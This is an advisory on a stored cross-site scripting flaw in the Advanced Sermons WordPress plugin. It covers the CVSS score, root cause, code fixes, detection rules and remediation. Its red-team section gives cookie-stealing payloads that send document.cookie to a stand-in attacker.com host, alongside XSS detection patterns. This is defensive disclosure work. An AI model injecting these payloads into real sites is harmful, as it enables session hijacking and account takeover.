CVE-2025-49863

Executive Summary

CVE-2025-49863 is a Stored Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin Advanced Sermons by WP CodeUs, affecting versions up to and including 3.6. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the plugin’s sermon post type. When an administrator or other user views the compromised sermon entry, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed Advanced Sermons from the WordPress dashboard or manually are at risk. The lack of a patch means that supply chain risk is elevated; users must rely on manual mitigation or temporary workarounds until an update is released. No known malicious packages have been observed in the wild exploiting this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: Required (UI:R) – victim must view the malicious sermon
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can persist and affect multiple users, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the advanced-sermons plugin’s sermon post type editor. The plugin fails to sanitize or escape user-supplied input when saving sermon metadata (e.g., sermon title, description, speaker name, or custom fields). When the sermon is rendered on the frontend or in the admin panel, the unsanitized input is injected directly into the HTML page, allowing an attacker to embed arbitrary JavaScript.

Attack Flow:

1. An attacker with contributor-level access (or higher) creates or edits a sermon post.
2. The attacker inserts a malicious payload into a vulnerable field, such as the sermon title or description. Example payload: <script>alert(document.cookie)</script>.
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When an administrator or any user views the sermon (either on the frontend or in the admin area), the script executes in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: The plugin uses echo or the_content filter without applying esc_html(), wp_kses(), or similar WordPress sanitization functions on user-supplied data.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common WordPress XSS remediation.

Vulnerable Code (example from advanced-sermons <= 3.6):

// In a template file or shortcode handler
echo '<div class="sermon-title">' . $sermon_title . '</div>';

Patched Code (recommended fix):

// Properly escape output
echo '<div class="sermon-title">' . esc_html( $sermon_title ) . '</div>';

The vulnerable code directly outputs the $sermon_title variable without escaping, allowing HTML/JavaScript injection. The patched version uses esc_html() to convert special characters to HTML entities, neutralizing any script tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Advanced Sermons plugin version <= 3.6.
• An account with at least Contributor role.

Steps:

1. Log in to WordPress as a Contributor.
2. Navigate to Sermons > Add New.
3. In the Title field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Fill in other required fields and publish the sermon.
5. Wait for an administrator to view the sermon (e.g., via the admin list or frontend).
6. The script executes, sending the admin’s cookies to the attacker’s server.

Alternative Payload (for session hijacking):

<img src=x onerror="new Image().src='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual sermon creation/editing by low-privilege users.
• Look for HTTP requests containing <script> or onerror in sermon-related POST data.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Hardening:

• Immediate: Disable the Advanced Sermons plugin until a patch is released.
• Workaround: Use a security plugin (e.g., Wordfence) to add input sanitization rules.
• Long-term: Apply the patched code manually (see above) or switch to an alternative sermon management plugin.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Unusual POST requests to /wp-admin/post.php with action=editpost and post_type=sermon containing script tags.

• Host IOCs:

  • Sermon posts in the database containing <script> or <img onerror> tags in the post_title or post_content fields.
  • Unexpected JavaScript files or obfuscated code in the wp-content/uploads/ directory (if used for payload delivery).

• Log IOCs:

  • WordPress debug log entries showing PHP Notice: Undefined index or similar errors related to sermon fields.
  • Web server access logs with POST requests to /wp-admin/post.php containing sermon and suspicious payloads.

Detection Engineering

YARA Rule

rule Detect_Advanced_Sermons_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Advanced Sermons plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49863"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]+onerror\s*=/is
        $xss3 = /<svg[^>]+onload\s*=/is
        $sermon = /advanced-sermons/i
    condition:
        any of ($xss*) and $sermon
}

Sigma Rule

title: Stored XSS in Advanced Sermons Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress Advanced Sermons plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'post_type=sermon'
        cs-uri-query|contains: 'action=editpost'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in sermon content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49863 Stored XSS in Advanced Sermons"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_type=sermon"; http_uri; content:"action=editpost"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate Advanced Sermons until a patch is released.
2. Audit existing sermons – Check all sermon posts for malicious scripts using the YARA rule above.
3. Reset compromised accounts – If any admin cookies were stolen, force password resets and invalidate sessions.

Long-term Fix:

• Apply the patched code manually (see Vulnerable vs. Patched Code section) or wait for an official update from WP CodeUs.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege: restrict contributor roles from editing sermon metadata if not needed.

Monitoring:

• Enable WordPress audit logging (e.g., using WP Activity Log plugin).
• Monitor for outbound connections to unknown domains from the web server.

Valters IT